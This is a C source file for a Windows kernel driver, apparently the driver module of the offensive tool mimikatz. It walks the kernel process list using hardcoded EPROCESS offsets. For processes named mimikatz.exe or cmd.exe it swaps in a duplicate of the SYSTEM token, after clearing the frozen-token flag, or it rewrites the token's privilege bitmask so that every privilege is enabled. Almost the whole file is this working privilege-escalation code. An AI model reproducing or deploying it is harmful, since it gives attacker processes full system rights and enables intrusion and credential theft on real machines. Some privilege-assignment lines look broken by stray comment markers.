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#include "processes.h"
const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] =
{
/* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */
#ifdef _M_IX86
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x0088, 0x0000, 0x0000},
/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000},
/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040},
/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040},
/* INDEX_7 */ {0x00b8, 0x026c, 0x0040},
/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */
/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040}
#else
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */
/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000},
/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040},
/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040},
/* INDEX_7 */ {0x0188, 0x043c, 0x0040},
/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040},
/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040}
#endif
};
NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken);
}
NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses);
}
NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status = STATUS_NOT_SUPPORTED;
if(INDEX_OS >= INDEX_VISTA)
status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6);
return status;
}
NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action)
{
NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS;
PEPROCESS monProcess = NULL;
PCHAR processName = NULL;
HANDLE processId = NULL;
PACCESS_TOKEN monTokenAcess = NULL;
PKIWI_NT6_PRIVILEGES mesPrivileges = NULL;
HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle;
PROCESS_ACCESS_TOKEN ProcessTokenInformation;
PULONG pFlags2 = NULL;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
for(
monProcess = PsInitialSystemProcess;
NT_SUCCESS(status) &&
(PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess;
monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT])
)
{
processName = PsGetProcessImageFileName(monProcess);
processId = PsGetProcessId(monProcess);
if(action == ExchangeToken || action == FullPrivilegeNT6)
{
if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId
);
if(action == ExchangeToken)
{
status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle);
if(NT_SUCCESS(status2))
{
status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle);
if(NT_SUCCESS(status2))
{
status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle);
if(NT_SUCCESS(status2))
{
status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle);
if(NT_SUCCESS(status2))
{
ProcessTokenInformation.Token = newSysTokenHandle;
ProcessTokenInformation.Thread = 0;
if(INDEX_OS >= INDEX_VISTA)
{
pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]);
*pFlags2 &= ~TOKEN_FROZEN_MASK;
}
status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
if(NT_SUCCESS(status2))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n");
}
if(INDEX_OS >= INDEX_VISTA)
{
*pFlags2 |= TOKEN_FROZEN_MASK;
}
ZwClose(newSysTokenHandle);
}
ZwClose(sysProcessTokenHandle);
}
ZwClose(processHandle);
ZwClose(sysProcessHandle);
}
}
}
else
{
if(monTokenAcess = PsReferencePrimaryToken(monProcess))
{
mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]);
mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc;
mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff;
mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff;
mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff;
mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f;
PsDereferencePrimaryToken(monTokenAcess);
}
}
}
}
else
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName);
}
}
return status;
}
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